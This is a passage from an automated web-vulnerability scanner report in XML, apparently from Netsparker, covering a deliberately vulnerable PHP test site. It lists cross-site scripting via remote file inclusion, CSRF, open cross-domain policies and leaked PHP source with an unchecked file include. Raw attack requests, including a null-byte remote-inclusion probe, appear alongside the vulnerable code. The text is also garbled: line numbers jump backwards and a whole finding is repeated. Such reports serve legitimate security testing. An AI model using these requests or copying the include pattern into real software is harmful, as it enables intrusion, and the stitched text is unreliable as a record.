4785 <li><a href="http://www.mavitunasecurity.com/netsparker/">Netsparker</a></li>
4786 <li><a href="http://www.mavitunasecurity.com/">Mavituna Security</a></li>
4787 </ul>
4788 </li>
4789 <li>
4790
4791 </ul>
4792 </div> <!-- end #sidebar -->
4793 <div style="clear: both;">&nbsp;</div>
4794 </div>
4795 </div>
4796 </div>
4797 <!-- end #page -->
4798 </div>
4799 v
4800 <div id="footer">
4801 <p>Copyright (c) 2010 mavitunasecurity.com. All rights reserved. Design by <a href="http://www.freecsstemplates.org/">Free CSS Templates</a>.</p>
4802 </div> <!-- end #footer -->
4803 </body>
4804 </html>
4805 ]]></rawresponse>
4806 <extrainformation>
4807 </extrainformation>
4808
4809 <classification>
4810 <OWASP>A5</OWASP>
4811 <WASC>09</WASC>
4812 <CWE>352</CWE>
4813 <CAPEC>62</CAPEC>
4814 <PCI>6.5.5</PCI>
4815 <PCI2>6.5.9</PCI2>
4816 </classification>
4817
4818 </vulnerability>
4819 <vulnerability confirmed="True">
4820 <url>http://php.testsparker.com/crossdomain.xml</url>
4821 <type>OpenCrossDomainXml</type>
4822 <severity>Medium</severity>
4823 <certainty>100</certainty>
4824
4825 <rawrequest><![CDATA[GET /crossdomain.xml HTTP/1.1
4826 Cache-Control: no-cache
4827 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
4828 User-Agent: Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; Netsparker)
4829 X-Scanner: Netsparker
4830 Accept-Language: en-us,en;q=0.5
4831 Host: php.testsparker.com
4832 Accept-Encoding: gzip, deflate
4833
4834 ]]></rawrequest>
4835 <rawresponse><![CDATA[HTTP/1.1 200 OK
4836 Date: Fri, 29 Nov 2013 11:25:38 GMT
4837 Server: Apache/2.2.8 (Win32) PHP/5.2.6
4838 ETag: "30000000199e4-13b-498cc50ab1d37"
4839 Accept-Ranges: bytes
4840 X-Pad: avoid browser bug
4841 Content-Length: 315
4842 Content-Type: application/xml
4843 Last-Modified: Sat, 01 Jan 2011 17:33:20 GMT
4844
4578 ]]></rawresponse>
4579 <extrainformation>
4580 </extrainformation>
4581
4582 <classification>
4583 <OWASP>A6</OWASP>
4584 <WASC>13</WASC>
4585 <CWE>527</CWE>
4586 <CAPEC>118</CAPEC>
4587 <PCI>6.5.6</PCI>
4588 <PCI2></PCI2>
4589 </classification>
4590
4591 </vulnerability>
4592 <vulnerability confirmed="False">
4593 <url>http://php.testsparker.com/process.php?file=http%3a%2f%2fnetsparker.com%2fn%3f%00.nsp</url>
4594 <type>XssViaRfi</type>
4595 <severity>Important</severity>
4596 <certainty>95</certainty>
4597
4598 <vulnerableparametertype>GET</vulnerableparametertype>
4599 <vulnerableparameter>file</vulnerableparameter>
4600 <vulnerableparametervalue>http://netsparker.com/n?&#xFF;.nsp</vulnerableparametervalue>
4601 <rawrequest><![CDATA[GET /process.php?file=http%3a%2f%2fnetsparker.com%2fn%3f%00.nsp HTTP/1.1
4602 Cache-Control: no-cache
4603 Referer: http://php.testsparker.com/process.php?file=Generics/index.nsp
4604 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
4605 User-Agent: Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; Netsparker)
4606 X-Scanner: Netsparker
4607 Accept-Language: en-us,en;q=0.5
4608 Host: php.testsparker.com
4609 Cookie: PHPSESSID=0c51b01d69e15cb0000e8ba003f81056
4610 Accept-Encoding: gzip, deflate
4611
4612 ]]></rawrequest>
4613 <rawresponse><![CDATA[HTTP/1.1 200 OK
4614 Date: Fri, 29 Nov 2013 11:27:03 GMT
4615 Server: Apache/2.2.8 (Win32) PHP/5.2.6
4616 X-Powered-By: PHP/5.2.6
4617 Content-Length: 1615
4618 Content-Type: text/html
4619
4620
4621 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
4622 <html xmlns="http://www.w3.org/1999/xhtml">
4623 <head>
4624 <meta name="keywords" content="" />
4625 <meta name="description" content="" />
4626 <meta http-equiv="content-type" content="text/html; charset=utf-8" />
4627 <title>Netsparker Test Web Site - PHP</title>
4628 <link href="style.css" rel="stylesheet" type="text/css" media="screen" />
4629 </head><body>
4630 <div id="wrapper">
4631
4632 <div id="menu">
4633 <ul>
4634 <li><a href="process.php?file=Generics/index.nsp">Home</a></li>
4635 <li><a href="hello.php?name=Visitor">Hello</a></li>
4636 <li><a href="products.php?pro=url">Products</a></li>
4637 <li><a href="process.php?file=Generics/about.nsp">About</a></li>
4638 <li><a href="process.php?file=Generics/contact.nsp">Contact</a></li>
4639 <li><a href="auth/">Login</a></li>
4640 </ul>
4641 </div>
4642 <!-- end #menu -->
4643 <div id="header">
4644
4645 </div>
4646 <!-- end #header --> NETSPARKER_F0M1-44353702950-<%=chr(78) + chr(69) + chr(84) + chr(83) + chr(80) + chr(65) + chr(82) + chr(75) + chr(69) + chr(82) + chr(95) + chr(70) + chr(48) + chr(77) + chr(49) %>
4647 <%=chr(45) & (44353702950+(Cint(Request("nsxint"))*4567)) & chr(45) %>
4648 <script>netsparkerRFI(0x066666)</script> <!-- process.php load pages from path of the website. -->
4649 <!-- FIXME: File / directory permissions -->
4650 <!-- end #page -->
4651 </div>
4652
4653 <div id="footer">
4654 <p>Copyright (c) 2010 mavitunasecurity.com. All rights reserved. Design by <a href="http://www.freecsstemplates.org/">Free CSS Templates</a>.</p>
4655 </div> <!-- end #footer -->
4656 </body>
4657 </html>
4658 ]]></rawresponse>
4659 <extrainformation>
4660 </extrainformation>
4661
4662 <classification>
4663 <OWASP>A2</OWASP>
4664 <WASC>08</WASC>
4665 <CWE>79</CWE>
4666 <CAPEC>19</CAPEC>
4667 <PCI>6.5.1</PCI>
4668 <PCI2>6.5.7</PCI2>
4669 </classification>
4670
4671 </vulnerability>
4672 <vulnerability confirmed="False">
4673 <url>http://php.testsparker.com/auth/login.php</url>
4674 <type>CsrfInLoginFormDetected</type>
4675 <severity>Important</severity>
4676 <certainty>90</certainty>
4677
4678 <rawrequest><![CDATA[GET /auth/login.php HTTP/1.1
4679 Cache-Control: no-cache
4680 Referer: http://php.testsparker.com/auth/
4681 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
4682 User-Agent: Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; Netsparker)
4683 X-Scanner: Netsparker
4684 Accept-Language: en-us,en;q=0.5
4685 Host: php.testsparker.com
4686 Accept-Encoding: gzip, deflate
4687
4688 ]]></rawrequest>
4689 <rawresponse><![CDATA[HTTP/1.1 200 OK
4690 Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
4691 Date: Fri, 29 Nov 2013 11:26:26 GMT
4692 Pragma: no-cache
4693 Server: Apache/2.2.8 (Win32) PHP/5.2.6
4694 X-Powered-By: PHP/5.2.6
4695 Set-Cookie: PHPSESSID=0c51b01d69e15cb0000e8ba003f81056; path=/
4696 Content-Length: 3108
4697 Content-Type: text/html
4698 Expires: Thu, 19 Nov 1981 08:52:00 GMT
4699
4700
4701 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
4702 <html xmlns="http://www.w3.org/1999/xhtml">
4703 <head>
4704 <meta name="keywords" content="" />
4705 <meta name="description" content="" />
4706 <meta http-equiv="content-type" content="text/html; charset=utf-8" />
4707 <title>Netsparker Test Web Site - PHP</title>
4708 <link href="style.css" rel="stylesheet" type="text/css" media="screen" />
4709 </head><body>
4710 <div id="wrapper">
4711
4712 <div id="menu">
4713 <ul>
4714 <li><a href="../process.php?file=Generics/index.nsp">Home</a></li>
4715 <li><a href="../hello.php?name=Visitor">Hello</a></li>
4716 <li><a href="../products.php?pro=url">Products</a></li>
4717 <li><a href="../process.php?file=Generics/about.nsp">About</a></li>
4718 <li><a href="../process.php?file=Generics/contact.nsp">Contact</a></li>
4719 <li><a href="">Login</a></li>
4720 </ul>
4721 </div>
4722 <!-- end #menu -->
4723 <div id="header">
4724
4725 </div>
4726 <!-- end #header --> <div id="page">
4727 <div id="page-bgtop">
4728 <div id="page-bgbtm">
4729 <div id="content">
4730 <div class="post">
4731 <h1 class="title"><a href="#">Login Area</a></h1>
4732 <p>
4733 Enter your credentials (admin / admin123456)
4734 <br/>
4735 <form method="POST" action="control.php">
4736 Username: <input type="text" name="username"/>
4737 <br/>
4738 Password:&nbsp;&nbsp;<input type="password" name="password"/>
4739 <!-- Test credentials -->
4740 <!-- Password: admin123456 -->
4741 <br/>
4742 <br/>
4743 <input type="submit" value="SUBMIT">
4744 </form>
4745 </p>
4746
4747 <div style="clear: both;">&nbsp;</div>
4748 <div class="entry">
4749
4750
4751 </div>
4752 </div>
4753 <div style="clear: both;">&nbsp;</div>
4754 </div>
4755 <!-- end #content -->
4756
4757 <div id="sidebar">
4758 <ul>
4759 <li>
4760 <div id="search" >
4761 <form method="get" action="../artist.php">
4762 <div>
4763 <input type="text" name="s" id="search-text" value="" />
4764 <input type="submit" id="search-submit" value="GO" />
4765 </div>
4766 </form>
4767
4768 </div>
4769 <div style="clear: both;">&nbsp;</div>
4770 </li>
4771 <li>
4772 <h2>Tags</h2>
4773 <p>netsparker xss web-application-security false-positive-free automated-exploitation sql-injection local/remote-file-inclusion</p>
4774 </li>
4775 <li>
4776 <h2>Inner Pages</h2>
4777 <ul>
4778 <li><a href="../artist.php?id=test">Artist Search</a></li>
4779 <li><a href="../nslookup.php">Lookup Service</a></li>
4780 </ul>
4781 </li>
4782 <li>
4783 <h2>Links</h2>
4784 <ul>
4785 <li><a href="http://www.mavitunasecurity.com/netsparker/">Netsparker</a></li>
4786 <li><a href="http://www.mavitunasecurity.com/">Mavituna Security</a></li>
4787 </ul>
4788 </li>
4789 <li>
4790
4791 </ul>
4792 </div> <!-- end #sidebar -->
4793 <div style="clear: both;">&nbsp;</div>
4794 </div>
4795 </div>
4796 </div>
4797 <!-- end #page -->
4798 </div>
4799 v
4800 <div id="footer">
4801 <p>Copyright (c) 2010 mavitunasecurity.com. All rights reserved. Design by <a href="http://www.freecsstemplates.org/">Free CSS Templates</a>.</p>
4802 </div> <!-- end #footer -->
4803 </body>
4804 </html>
4805 ]]></rawresponse>
4806 <extrainformation>
4807 </extrainformation>
4808
4809 <classification>
4810 <OWASP>A5</OWASP>
4811 <WASC>09</WASC>
4812 <CWE>352</CWE>
4813 <CAPEC>62</CAPEC>
4814 <PCI>6.5.5</PCI>
4815 <PCI2>6.5.9</PCI2>
4816 </classification>
4817
4818 </vulnerability>
4819 <vulnerability confirmed="True">
4820 <url>http://php.testsparker.com/crossdomain.xml</url>
4821 <type>OpenCrossDomainXml</type>
4822 <severity>Medium</severity>
4823 <certainty>100</certainty>
4824
4825 <rawrequest><![CDATA[GET /crossdomain.xml HTTP/1.1
4826 Cache-Control: no-cache
4827 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
4828 User-Agent: Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; Netsparker)
4829 X-Scanner: Netsparker
4830 Accept-Language: en-us,en;q=0.5
4831 Host: php.testsparker.com
4832 Accept-Encoding: gzip, deflate
4833
4834 ]]></rawrequest>
4835 <rawresponse><![CDATA[HTTP/1.1 200 OK
4836 Date: Fri, 29 Nov 2013 11:25:38 GMT
4837 Server: Apache/2.2.8 (Win32) PHP/5.2.6
4838 ETag: "30000000199e4-13b-498cc50ab1d37"
4839 Accept-Ranges: bytes
4840 X-Pad: avoid browser bug
4841 Content-Length: 315
4842 Content-Type: application/xml
4843 Last-Modified: Sat, 01 Jan 2011 17:33:20 GMT
4844
48454845 <?xml version="1.0" encoding="UTF-8"?>
48464846 <cross-domain-policy xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="http://www.adobe.com/xml/schemas/PolicyFile.xsd">
48474847 <allow-access-from domain="*" />
48484848 <site-control permitted-cross-domain-policies="master-only"/>
4849 </cross-domain-policy>]]></rawresponse>
4850 <extrainformation>
4851 <info name="Policy Rules"><![CDATA[<allow-access-from domain="*" />]]></info>
4852 </extrainformation>
4853
4854 <classification>
4855 <OWASP>A6</OWASP>
4856 <WASC>15</WASC>
4857 <CWE>16</CWE>
4858 <CAPEC></CAPEC>
4859 <PCI></PCI>
4860 <PCI2></PCI2>
4861 </classification>
4862
4863 </vulnerability>
4864 <vulnerability confirmed="True">
4865 <url>http://php.testsparker.com/clientaccesspolicy.xml</url>
4866 <type>OpenClientAccessPolicy</type>
4867 <severity>Medium</severity>
4868 <certainty>100</certainty>
4869
4870 <rawrequest><![CDATA[GET /clientaccesspolicy.xml HTTP/1.1
4871 Cache-Control: no-cache
4872 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
4873 User-Agent: Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; Netsparker)
4874 X-Scanner: Netsparker
4875 Accept-Language: en-us,en;q=0.5
4876 Host: php.testsparker.com
4877 Accept-Encoding: gzip, deflate
4878
4879 ]]></rawrequest>
4880 <rawresponse><![CDATA[HTTP/1.1 200 OK
4881 Date: Fri, 29 Nov 2013 11:25:41 GMT
4882 Server: Apache/2.2.8 (Win32) PHP/5.2.6
4883 ETag: "30000000199e2-118-498e0196a2efd"
4884 Accept-Ranges: bytes
4885 X-Pad: avoid browser bug
4886 Content-Length: 280
4887 Content-Type: application/xml
4888 Last-Modified: Sun, 02 Jan 2011 17:09:33 GMT
4889
4890 <?xml version="1.0" encoding="utf-8"?>
4891 <access-policy>
4892 <cross-domain-access>
4893 <allow-from http-request-headers="*">
4894 <domain uri="*"/>
4895 </allow-from>
4896 <grant-to>
4897 <resource path="/" include-subpaths="true"/>
4898 </grant-to>
4899 </cross-domain-access>
4900 </access-policy>]]></rawresponse>
4901 <extrainformation>
4902 <info name="Policy Rules"><![CDATA[*]]></info>
4903 </extrainformation>
4904
4905 <classification>
4906 <OWASP>A6</OWASP>
4907 <WASC>15</WASC>
4908 <CWE>16</CWE>
4909 <CAPEC></CAPEC>
4910 <PCI></PCI>
4911 <PCI2></PCI2>
4912 </classification>
4913
4914 </vulnerability>
4915 <vulnerability confirmed="False">
4916 <url>http://php.testsparker.com/process.bak?nsextt=NSFTW</url>
4917 <type>PhpSourceCodeDisclosure</type>
4918 <severity>Medium</severity>
4919 <certainty>75</certainty>
4920
4921 <rawrequest><![CDATA[GET /process.bak?nsextt=NSFTW HTTP/1.1
4922 Cache-Control: no-cache
4923 Referer: http://php.testsparker.com/process.bak
4924 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
4925 User-Agent: Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; Netsparker)
4926 X-Scanner: Netsparker
4927 Accept-Language: en-us,en;q=0.5
4928 Host: php.testsparker.com
4929 Cookie: PHPSESSID=0c51b01d69e15cb0000e8ba003f81056
4930 Accept-Encoding: gzip, deflate
4931
4932 ]]></rawrequest>
4933 <rawresponse><![CDATA[HTTP/1.1 200 OK
4934 Date: Fri, 29 Nov 2013 11:28:31 GMT
4935 Server: Apache/2.2.8 (Win32) PHP/5.2.6
4936 ETag: "30000000199eb-363-481496ef4391c"
4937 Accept-Ranges: bytes
4938 Content-Length: 867
4939 Content-Type: text/plain
4940 Last-Modified: Mon, 08 Mar 2010 12:45:00 GMT
4941
4942 <?php
4943 require("auth.php");
4944 ini_set("display_errors","0");
4945
4946 //global configuration area
4947 $globals["title"] = "Netsparker Test Web Site - PHP";
4948 function EndsWith($FullStr, $EndStr)
4949 {
4950 // Get the length of the end string
4951 $StrLen = strlen($EndStr);
4952 // Look at the end of FullStr for the substring the size of EndStr
4953 $FullStrEnd = substr($FullStr, strlen($FullStr) - $StrLen);
4954 // If it matches, it does end with EndStr
4955 return $FullStrEnd == $EndStr;
4956 }
4957 ?>
4958
4959 <?php include "Internals/header.php"?>
4960 <body>
4961 <div id="wrapper">
4962 <?php include "Internals/upmenu.php"?>
4963 <?php
4964 $file = $_REQUEST["file"];
4965 if(EndsWith($file,".nsp"))
4966 include $_REQUEST["file"];
4967 ?>
4968 <!-- end #page -->
4969 </div>
4970
4971 <?php include "Internals/footer.php"?>
4972 <!-- end #footer -->
4973 </body>
4974 </html>
4975 ]]></rawresponse>
4976 <extrainformation>
4977 </extrainformation>
4978
4979 <classification>
4980 <OWASP>A6</OWASP>
4981 <WASC>13</WASC>
4982 <CWE>540</CWE>
4983 <CAPEC>118</CAPEC>
4984 <PCI>6.5.6</PCI>
4985 <PCI2></PCI2>
4986 </classification>
4987
4988 </vulnerability>
4989 <vulnerability confirmed="True">
4990 <url>http://php.testsparker.com/auth/login.php</url>
4991 <type>AutoCompleteEnabled</type>
4992 <severity>Low</severity>
4993 <certainty>100</certainty>
4994
4995 <rawrequest><![CDATA[GET /auth/login.php HTTP/1.1
4996 Cache-Control: no-cache
4997 Referer: http://php.testsparker.com/auth/
4998 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
4999 User-Agent: Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; Netsparker)
5000 X-Scanner: Netsparker
5001 Accept-Language: en-us,en;q=0.5
5002 Host: php.testsparker.com
5003 Accept-Encoding: gzip, deflate
5004
5005 ]]></rawrequest>
5006 <rawresponse><![CDATA[HTTP/1.1 200 OK
5007 Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
5008 Date: Fri, 29 Nov 2013 11:26:26 GMT
5009 Pragma: no-cache
5010 Server: Apache/2.2.8 (Win32) PHP/5.2.6
5011 X-Powered-By: PHP/5.2.6
5012 Set-Cookie: PHPSESSID=0c51b01d69e15cb0000e8ba003f81056; path=/
5013 Content-Length: 3108
5014 Content-Type: text/html
5015 Expires: Thu, 19 Nov 1981 08:52:00 GMT
5016
5017
5018 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
5019 <html xmlns="http://www.w3.org/1999/xhtml">
5020 <head>
5021 <meta name="keywords" content="" />
5022 <meta name="description" content="" />
5023 <meta http-equiv="content-type" content="text/html; charset=utf-8" />
5024 <title>Netsparker Test Web Site - PHP</title>
5025 <link href="style.css" rel="stylesheet" type="text/css" media="screen" />
5026 </head><body>
5027 <div id="wrapper">
5028
5029 <div id="menu">
5030 <ul>
5031 <li><a href="../process.php?file=Generics/index.nsp">Home</a></li>
5032 <li><a href="../hello.php?name=Visitor">Hello</a></li>
5033 <li><a href="../products.php?pro=url">Products</a></li>
5034 <li><a href="../process.php?file=Generics/about.nsp">About</a></li>
5035 <li><a href="../process.php?file=Generics/contact.nsp">Contact</a></li>
5036 <li><a href="">Login</a></li>
5037 </ul>
5038 </div>
5039 <!-- end #menu -->
5040 <div id="header">
5041
5042 </div>
5043 <!-- end #header --> <div id="page">
5044 <div id="page-bgtop">
5045 <div id="page-bgbtm">
5046 <div id="content">
5047 <div class="post">
5048 <h1 class="title"><a href="#">Login Area</a></h1>
5049 <p>
5050 Enter your credentials (admin / admin123456)
5051 <br/>
5052 <form method="POST" action="control.php">
5053 Username: <input type="text" name="username"/>
5054 <br/>
5055 Password:&nbsp;&nbsp;<input type="password" name="password"/>
5056 <!-- Test credentials -->
5057 <!-- Password: admin123456 -->
5058 <br/>
5059 <br/>
5060 <input type="submit" value="SUBMIT">
5061 </form>
5062 </p>
5063
5064 <div style="clear: both;">&nbsp;</div>
5065 <div class="entry">
5066
5067
5068 </div>
5069 </div>
5070 <div style="clear: both;">&nbsp;</div>
5071 </div>
5072 <!-- end #content -->
5073
5074 <div id="sidebar">
5075 <ul>
5076 <li>
5077 <div id="search" >
5078 <form method="get" action="../artist.php">
5079 <div>
5080 <input type="text" name="s" id="search-text" value="" />
5081 <input type="submit" id="search-submit" value="GO" />
5082 </div>
5083 </form>
5084
5085 </div>
5086 <div style="clear: both;">&nbsp;</div>
5087 </li>
5088 <li>
5089 <h2>Tags</h2>
5090 <p>netsparker xss web-application-security false-positive-free automated-exploitation sql-injection local/remote-file-inclusion</p>
5091 </li>
5092 <li>
5093 <h2>Inner Pages</h2>
5094 <ul>
5095 <li><a href="../artist.php?id=test">Artist Search</a></li>
5096 <li><a href="../nslookup.php">Lookup Service</a></li>
5097 </ul>
5098 </li>
5099 <li>
5100 <h2>Links</h2>
5101 <ul>
5102 <li><a href="http://www.mavitunasecurity.com/netsparker/">Netsparker</a></li>
5103 <li><a href="http://www.mavitunasecurity.com/">Mavituna Security</a></li>
5104 </ul>
5105 </li>
5106 <li>
5107
5108 </ul>
5109 </div> <!-- end #sidebar -->
5110 <div style="clear: both;">&nbsp;</div>
5111 </div>
5112 </div>
5113 </div>
5114 <!-- end #page -->
5115 </div>
5116 v
5117 <div id="footer">
5118 <p>Copyright (c) 2010 mavitunasecurity.com. All rights reserved. Design by <a href="http://www.freecsstemplates.org/">Free CSS Templates</a>.</p>
5119 </div> <!-- end #footer -->
5120 </body>
5121 </html>
5122 ]]></rawresponse>
5123 <extrainformation>
5124 <info name="Identified Field Name"><![CDATA[password]]></info>
5125 </extrainformation>
5126
5127 <classification>
5128 <OWASP>A6</OWASP>
5129 <WASC>15</WASC>
5130 <CWE>16</CWE>
5131 <CAPEC></CAPEC>
5132 <PCI></PCI>
5133 <PCI2></PCI2>
5134 </classification>
5135
5136 </vulnerability>
5137 <vulnerability confirmed="True">
5138 <url>http://php.testsparker.com/auth/login.php</url>
5139 <type>CookieNotMarkedAsHttpOnly</type>
5140 <severity>Low</severity>
5141 <certainty>100</certainty>
5142
5143 <rawrequest><![CDATA[GET /auth/login.php HTTP/1.1
5144 Cache-Control: no-cache
5145 Referer: http://php.testsparker.com/auth/
5146 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
5147 User-Agent: Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; Netsparker)
5148 X-Scanner: Netsparker
5149 Accept-Language: en-us,en;q=0.5
5150 Host: php.testsparker.com
5151 Accept-Encoding: gzip, deflate
5152
5153 ]]></rawrequest>
5154 <rawresponse><![CDATA[HTTP/1.1 200 OK
5155 Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
5156 Date: Fri, 29 Nov 2013 11:26:26 GMT
5157 Pragma: no-cache
5158 Server: Apache/2.2.8 (Win32) PHP/5.2.6
5159 X-Powered-By: PHP/5.2.6
5160 Set-Cookie: PHPSESSID=0c51b01d69e15cb0000e8ba003f81056; path=/
5161 Content-Length: 3108
5162 Content-Type: text/html
5163 Expires: Thu, 19 Nov 1981 08:52:00 GMT
5164
5165
5166 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
5167 <html xmlns="http://www.w3.org/1999/xhtml">
5168 <head>
5169 <meta name="keywords" content="" />
5170 <meta name="description" content="" />
5171 <meta http-equiv="content-type" content="text/html; charset=utf-8" />
5172 <title>Netsparker Test Web Site - PHP</title>
5173 <link href="style.css" rel="stylesheet" type="text/css" media="screen" />
5174 </head><body>
5175 <div id="wrapper">
5176
5177 <div id="menu">
5178 <ul>
5179 <li><a href="../process.php?file=Generics/index.nsp">Home</a></li>
5180 <li><a href="../hello.php?name=Visitor">Hello</a></li>
5181 <li><a href="../products.php?pro=url">Products</a></li>
5182 <li><a href="../process.php?file=Generics/about.nsp">About</a></li>
5183 <li><a href="../process.php?file=Generics/contact.nsp">Contact</a></li>
5184 <li><a href="">Login</a></li>
5185 </ul>
5186 </div>
5187 <!-- end #menu -->
5188 <div id="header">
5189
5190 </div>
5191 <!-- end #header --> <div id="page">
5192 <div id="page-bgtop">
5193 <div id="page-bgbtm">
5194 <div id="content">
5195 <div class="post">
5196 <h1 class="title"><a href="#">Login Area</a></h1>
5197 <p>
5198 Enter your credentials (admin / admin123456)
5199 <br/>
5200 <form method="POST" action="control.php">
5201 Username: <input type="text" name="username"/>
5202 <br/>
5203 Password:&nbsp;&nbsp;<input type="password" name="password"/>
5204 <!-- Test credentials -->
5205 <!-- Password: admin123456 -->
5206 <br/>
5207 <br/>
5208 <input type="submit" value="SUBMIT">
5209 </form>
5210 </p>
5211
5212 <div style="clear: both;">&nbsp;</div>
5213 <div class="entry">
5214
5215
5216 </div>
5217 </div>
5218 <div style="clear: both;">&nbsp;</div>
5219 </div>
5220 <!-- end #content -->
5221
5222 <div id="sidebar">
5223 <ul>
5224 <li>
5225 <div id="search" >
5226 <form method="get" action="../artist.php">
5227 <div>
5228 <input type="text" name="s" id="search-text" value="" />
5229 <input type="submit" id="search-submit" value="GO" />
5230 </div>
5231 </form>
5232
5233 </div>
5234 <div style="clear: both;">&nbsp;</div>
5235 </li>
5236 <li>
5237 <h2>Tags</h2>
5238 <p>netsparker xss web-application-security false-positive-free automated-exploitation sql-injection local/remote-file-inclusion</p>
5239 </li>
5240 <li>
5241 <h2>Inner Pages</h2>
5242 <ul>
5243 <li><a href="../artist.php?id=test">Artist Search</a></li>
5244 <li><a href="../nslookup.php">Lookup Service</a></li>
5245 </ul>
5246 </li>
5247 <li>
5248 <h2>Links</h2>
5249 <ul>
5250 <li><a href="http://www.mavitunasecurity.com/netsparker/">Netsparker</a></li>
5251 <li><a href="http://www.mavitunasecurity.com/">Mavituna Security</a></li>
5252 </ul>
5253 </li>
5254 <li>
5255
5256 </ul>
5257 </div> <!-- end #sidebar -->
5258 <div style="clear: both;">&nbsp;</div>
5259 </div>
5260 </div>
5261 </div>
5262 <!-- end #page -->
5263 </div>
5264 v
5265 <div id="footer">
5266 <p>Copyright (c) 2010 mavitunasecurity.com. All rights reserved. Design by <a href="http://www.freecsstemplates.org/">Free CSS Templates</a>.</p>
5267 </div> <!-- end #footer -->
5268 </body>
5269 </html>
5270 ]]></rawresponse>
5271 <extrainformation>
5272 <info name="Identified Cookie"><![CDATA[PHPSESSID]]></info>
5273 </extrainformation>
5274
5275 <classification>
5276 <OWASP>A6</OWASP>
5277 <WASC>15</WASC>
5278 <CWE>16</CWE>
5279 <CAPEC>107</CAPEC>
5280 <PCI></PCI>
5281 <PCI2></PCI2>
5282 </classification>
5283
5284 </vulnerability>
5285 <vulnerability confirmed="False">
5286 <url>http://php.testsparker.com/</url>
5287 <type>ApacheVersionDisclosure</type>
5288 <severity>Low</severity>
5289 <certainty>90</certainty>
5290
5291 <rawrequest><![CDATA[GET / HTTP/1.1
5292 Cache-Control: no-cache
5293 Connection: Keep-Alive
5294 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
5295 User-Agent: Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; Netsparker)
5296 X-Scanner: Netsparker
5297 Accept-Language: en-us,en;q=0.5
5298 Host: php.testsparker.com
5299 Accept-Encoding: gzip, deflate
5300
5301 ]]></rawrequest>
5302 <rawresponse><![CDATA[HTTP/1.1 200 OK
5303 Connection: Keep-Alive
5304 Date: Fri, 29 Nov 2013 11:25:33 GMT
5305 Server: Apache/2.2.8 (Win32) PHP/5.2.6
5306 X-Powered-By: PHP/5.2.6
5307 Keep-Alive: timeout=5, max=100
5308 Content-Length: 144
5309 Content-Type: text/html
5310
5311 <html>
5312 <HEAD>
5313 <SCRIPT language="JavaScript">
5314 <!--
5315 window.location="process.php?file=Generics/index.nsp";
5316 //-->
5317 </SCRIPT>
5318 </HEAD>
5319 </html>]]></rawresponse>
5320 <extrainformation>
5321 <info name="Extracted Version"><![CDATA[2.2.8]]></info>
5322 </extrainformation>
5323
5324 <classification>
5325 <OWASP>A6</OWASP>
5326 <WASC>45</WASC>
5327 <CWE>205</CWE>
5328 <CAPEC>170</CAPEC>
5329 <PCI></PCI>
5330 <PCI2></PCI2>
5331 </classification>
5332
5333 </vulnerability>
5334 <vulnerability confirmed="False">
5335 <url>http://php.testsparker.com/</url>
5336 <type>PhpVersionDisclosure</type>
5337 <severity>Low</severity>
5338 <certainty>90</certainty>
5339
5340 <rawrequest><![CDATA[GET / HTTP/1.1
5341 Cache-Control: no-cache
5342 Connection: Keep-Alive
5343 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
5344 User-Agent: Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; Netsparker)
5345 X-Scanner: Netsparker
5346 Accept-Language: en-us,en;q=0.5
5347 Host: php.testsparker.com
5348 Accept-Encoding: gzip, deflate
5349
5350 ]]></rawrequest>
5351 <rawresponse><![CDATA[HTTP/1.1 200 OK
5352 Connection: Keep-Alive
5353 Date: Fri, 29 Nov 2013 11:25:33 GMT
5354 Server: Apache/2.2.8 (Win32) PHP/5.2.6
5355 X-Powered-By: PHP/5.2.6
5356 Keep-Alive: timeout=5, max=100
5357 Content-Length: 144
5358 Content-Type: text/html
5359
5360 <html>
5361 <HEAD>
5362 <SCRIPT language="JavaScript">
5363 <!--
5364 window.location="process.php?file=Generics/index.nsp";
5365 //-->
5366 </SCRIPT>
5367 </HEAD>
5368 </html>]]></rawresponse>
5369 <extrainformation>
